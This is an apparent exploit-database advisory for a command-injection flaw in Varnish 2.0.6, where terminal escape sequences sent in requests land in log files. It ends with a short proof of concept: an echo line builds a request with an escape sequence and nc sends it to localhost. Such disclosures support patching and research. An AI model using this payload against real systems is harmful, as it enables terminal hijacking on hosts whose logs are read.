Varnish 2.0.6 – ‘Terminal Escape Sequence in Logs’ Command Injection

  • 作者: evilaliv3
    日期: 2010-01-11
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/33498/
  • source: https://www.securityfocus.com/bid/37713/info
    
    Varnish is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in logfiles.
    
    Attackers can exploit this issue to execute arbitrary commands in a terminal.
    
    Varnish 2.0.6 is vulnerable; other versions may also be affected. 
    
    The following example is available:
    
    echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
    nc localhost 80 < payload